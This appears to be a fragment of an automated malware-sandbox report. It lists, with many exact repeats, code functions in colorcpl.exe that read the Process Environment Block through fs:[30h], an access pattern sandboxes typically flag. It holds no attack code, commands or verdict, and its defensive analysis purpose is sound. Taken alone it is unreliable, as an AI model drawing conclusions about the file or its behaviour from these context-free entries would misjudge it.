Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665CC0 mov eax, dword ptr fs:[00000030h]	3_2_1E665CC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B3CDB mov eax, dword ptr fs:[00000030h]	3_2_1E6B3CDB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B3CDB mov eax, dword ptr fs:[00000030h]	3_2_1E6B3CDB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B3CDB mov eax, dword ptr fs:[00000030h]	3_2_1E6B3CDB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFCDF mov eax, dword ptr fs:[00000030h]	3_2_1E6DFCDF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFCDF mov eax, dword ptr fs:[00000030h]	3_2_1E6DFCDF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFCDF mov eax, dword ptr fs:[00000030h]	3_2_1E6DFCDF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627CD5 mov eax, dword ptr fs:[00000030h]	3_2_1E627CD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627CD5 mov eax, dword ptr fs:[00000030h]	3_2_1E627CD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627CD5 mov eax, dword ptr fs:[00000030h]	3_2_1E627CD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627CD5 mov eax, dword ptr fs:[00000030h]	3_2_1E627CD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627CD5 mov eax, dword ptr fs:[00000030h]	3_2_1E627CD5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62DCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E62DCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFCAB mov eax, dword ptr fs:[00000030h]	3_2_1E6EFCAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FCA0 mov ecx, dword ptr fs:[00000030h]	3_2_1E65FCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65FCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65FCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65FCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65FCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E66BCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E66BCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BCA0 mov ecx, dword ptr fs:[00000030h]	3_2_1E66BCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BCA0 mov eax, dword ptr fs:[00000030h]	3_2_1E66BCA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633C84 mov eax, dword ptr fs:[00000030h]	3_2_1E633C84
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633C84 mov eax, dword ptr fs:[00000030h]	3_2_1E633C84
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633C84 mov eax, dword ptr fs:[00000030h]	3_2_1E633C84
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633C84 mov eax, dword ptr fs:[00000030h]	3_2_1E633C84
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFD78 mov eax, dword ptr fs:[00000030h]	3_2_1E6DFD78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFD78 mov eax, dword ptr fs:[00000030h]	3_2_1E6DFD78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFD78 mov eax, dword ptr fs:[00000030h]	3_2_1E6DFD78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFD78 mov eax, dword ptr fs:[00000030h]	3_2_1E6DFD78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DFD78 mov eax, dword ptr fs:[00000030h]	3_2_1E6DFD78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E637D75 mov eax, dword ptr fs:[00000030h]	3_2_1E637D75
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E637D75 mov eax, dword ptr fs:[00000030h]	3_2_1E637D75
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E9D70 mov eax, dword ptr fs:[00000030h]	3_2_1E6E9D70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E9D70 mov eax, dword ptr fs:[00000030h]	3_2_1E6E9D70
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627D41 mov eax, dword ptr fs:[00000030h]	3_2_1E627D41
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov ecx, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D40 mov eax, dword ptr fs:[00000030h]	3_2_1E643D40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BD4E mov eax, dword ptr fs:[00000030h]	3_2_1E66BD4E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BD4E mov eax, dword ptr fs:[00000030h]	3_2_1E66BD4E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDD47 mov eax, dword ptr fs:[00000030h]	3_2_1E6BDD47
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F1D5A mov eax, dword ptr fs:[00000030h]	3_2_1E6F1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F1D5A mov eax, dword ptr fs:[00000030h]	3_2_1E6F1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F1D5A mov eax, dword ptr fs:[00000030h]	3_2_1E6F1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F1D5A mov eax, dword ptr fs:[00000030h]	3_2_1E6F1D5A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFD2A mov eax, dword ptr fs:[00000030h]	3_2_1E6BFD2A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFD2A mov eax, dword ptr fs:[00000030h]	3_2_1E6BFD2A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643D00 mov eax, dword ptr fs:[00000030h]	3_2_1E643D00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FDDC6 mov eax, dword ptr fs:[00000030h]	3_2_1E6FDDC6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EDDC7 mov eax, dword ptr fs:[00000030h]	3_2_1E6EDDC7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDDC0 mov eax, dword ptr fs:[00000030h]	3_2_1E6BDDC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633DD0 mov eax, dword ptr fs:[00000030h]	3_2_1E633DD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633DD0 mov eax, dword ptr fs:[00000030h]	3_2_1E633DD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669DAF mov eax, dword ptr fs:[00000030h]	3_2_1E669DAF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63FDA9 mov eax, dword ptr fs:[00000030h]	3_2_1E63FDA9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5DA0 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5DA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5DA0 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5DA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5DA0 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5DA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5DA0 mov ecx, dword ptr fs:[00000030h]	3_2_1E6C5DA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DDB1 mov eax, dword ptr fs:[00000030h]	3_2_1E64DDB1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DDB1 mov eax, dword ptr fs:[00000030h]	3_2_1E64DDB1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DDB1 mov eax, dword ptr fs:[00000030h]	3_2_1E64DDB1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDDB1 mov eax, dword ptr fs:[00000030h]	3_2_1E6BDDB1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62FD80 mov eax, dword ptr fs:[00000030h]	3_2_1E62FD80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629D96 mov eax, dword ptr fs:[00000030h]	3_2_1E629D96
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629D96 mov eax, dword ptr fs:[00000030h]	3_2_1E629D96
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629D96 mov ecx, dword ptr fs:[00000030h]	3_2_1E629D96
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C3A78 mov eax, dword ptr fs:[00000030h]	3_2_1E6C3A78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E629A40 mov ecx, dword ptr fs:[00000030h]	3_2_1E629A40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DA20 mov eax, dword ptr fs:[00000030h]	3_2_1E65DA20
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DA20 mov eax, dword ptr fs:[00000030h]	3_2_1E65DA20
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov eax, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov ecx, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov eax, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov eax, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov eax, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BA30 mov eax, dword ptr fs:[00000030h]	3_2_1E63BA30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DBA0B mov eax, dword ptr fs:[00000030h]	3_2_1E6DBA0B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DBA0B mov eax, dword ptr fs:[00000030h]	3_2_1E6DBA0B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DBA0B mov eax, dword ptr fs:[00000030h]	3_2_1E6DBA0B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DBA0B mov eax, dword ptr fs:[00000030h]	3_2_1E6DBA0B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665A01 mov eax, dword ptr fs:[00000030h]	3_2_1E665A01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665A01 mov ecx, dword ptr fs:[00000030h]	3_2_1E665A01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665A01 mov eax, dword ptr fs:[00000030h]	3_2_1E665A01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665A01 mov eax, dword ptr fs:[00000030h]	3_2_1E665A01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFA02 mov eax, dword ptr fs:[00000030h]	3_2_1E6EFA02
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BA10 mov eax, dword ptr fs:[00000030h]	3_2_1E62BA10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6ADA1D mov eax, dword ptr fs:[00000030h]	3_2_1E6ADA1D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D7A11 mov edi, dword ptr fs:[00000030h]	3_2_1E6D7A11
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E659A18 mov ecx, dword ptr fs:[00000030h]	3_2_1E659A18
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BAE0 mov eax, dword ptr fs:[00000030h]	3_2_1E62BAE0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B1ACB mov eax, dword ptr fs:[00000030h]	3_2_1E6B1ACB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B1ACB mov ecx, dword ptr fs:[00000030h]	3_2_1E6B1ACB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5AD0 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5AD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65BADA mov eax, dword ptr fs:[00000030h]	3_2_1E65BADA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDAAC mov ecx, dword ptr fs:[00000030h]	3_2_1E6DDAAC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDAAC mov ecx, dword ptr fs:[00000030h]	3_2_1E6DDAAC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDAAC mov eax, dword ptr fs:[00000030h]	3_2_1E6DDAAC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BAA0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BAA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BAA0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BAA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62FAA4 mov ecx, dword ptr fs:[00000030h]	3_2_1E62FAA4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DAAE mov eax, dword ptr fs:[00000030h]	3_2_1E65DAAE
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E1AA3 mov eax, dword ptr fs:[00000030h]	3_2_1E6E1AA3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E1AA3 mov eax, dword ptr fs:[00000030h]	3_2_1E6E1AA3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E1AA3 mov eax, dword ptr fs:[00000030h]	3_2_1E6E1AA3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627A80 mov eax, dword ptr fs:[00000030h]	3_2_1E627A80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627A80 mov eax, dword ptr fs:[00000030h]	3_2_1E627A80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627A80 mov eax, dword ptr fs:[00000030h]	3_2_1E627A80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFA87 mov eax, dword ptr fs:[00000030h]	3_2_1E6EFA87
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3B60 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3B60 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3B60 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3B60 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3B60 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3B60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62FB4C mov edi, dword ptr fs:[00000030h]	3_2_1E62FB4C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5B50 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5B50
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6C5B50 mov eax, dword ptr fs:[00000030h]	3_2_1E6C5B50
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669B28 mov eax, dword ptr fs:[00000030h]	3_2_1E669B28
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669B28 mov eax, dword ptr fs:[00000030h]	3_2_1E669B28
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703B10 mov eax, dword ptr fs:[00000030h]	3_2_1E703B10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFB0C mov eax, dword ptr fs:[00000030h]	3_2_1E6EFB0C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov eax, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov eax, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov eax, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov eax, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov eax, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DB00 mov edx, dword ptr fs:[00000030h]	3_2_1E65DB00
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631B04 mov eax, dword ptr fs:[00000030h]	3_2_1E631B04
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631B04 mov eax, dword ptr fs:[00000030h]	3_2_1E631B04
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671BEF mov eax, dword ptr fs:[00000030h]	3_2_1E671BEF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671BEF mov eax, dword ptr fs:[00000030h]	3_2_1E671BEF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFBF3 mov eax, dword ptr fs:[00000030h]	3_2_1E6EFBF3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E639BC4 mov eax, dword ptr fs:[00000030h]	3_2_1E639BC4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627BCD mov eax, dword ptr fs:[00000030h]	3_2_1E627BCD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627BCD mov ecx, dword ptr fs:[00000030h]	3_2_1E627BCD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643BD6 mov eax, dword ptr fs:[00000030h]	3_2_1E643BD6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643BD6 mov eax, dword ptr fs:[00000030h]	3_2_1E643BD6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643BD6 mov eax, dword ptr fs:[00000030h]	3_2_1E643BD6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643BD6 mov eax, dword ptr fs:[00000030h]	3_2_1E643BD6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E643BD6 mov eax, dword ptr fs:[00000030h]	3_2_1E643BD6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFBDC mov eax, dword ptr fs:[00000030h]	3_2_1E6BFBDC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFBDC mov eax, dword ptr fs:[00000030h]	3_2_1E6BFBDC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFBDC mov eax, dword ptr fs:[00000030h]	3_2_1E6BFBDC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65DBA0 mov eax, dword ptr fs:[00000030h]	3_2_1E65DBA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F9B8B mov eax, dword ptr fs:[00000030h]	3_2_1E6F9B8B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6F9B8B mov eax, dword ptr fs:[00000030h]	3_2_1E6F9B8B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703B80 mov eax, dword ptr fs:[00000030h]	3_2_1E703B80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703B80 mov eax, dword ptr fs:[00000030h]	3_2_1E703B80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703B80 mov eax, dword ptr fs:[00000030h]	3_2_1E703B80
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669B9F mov eax, dword ptr fs:[00000030h]	3_2_1E669B9F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669B9F mov eax, dword ptr fs:[00000030h]	3_2_1E669B9F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E669B9F mov eax, dword ptr fs:[00000030h]	3_2_1E669B9F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFB97 mov eax, dword ptr fs:[00000030h]	3_2_1E6EFB97
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62D860 mov eax, dword ptr fs:[00000030h]	3_2_1E62D860
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661876 mov eax, dword ptr fs:[00000030h]	3_2_1E661876
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661876 mov eax, dword ptr fs:[00000030h]	3_2_1E661876
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62D878 mov eax, dword ptr fs:[00000030h]	3_2_1E62D878
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671843 mov eax, dword ptr fs:[00000030h]	3_2_1E671843
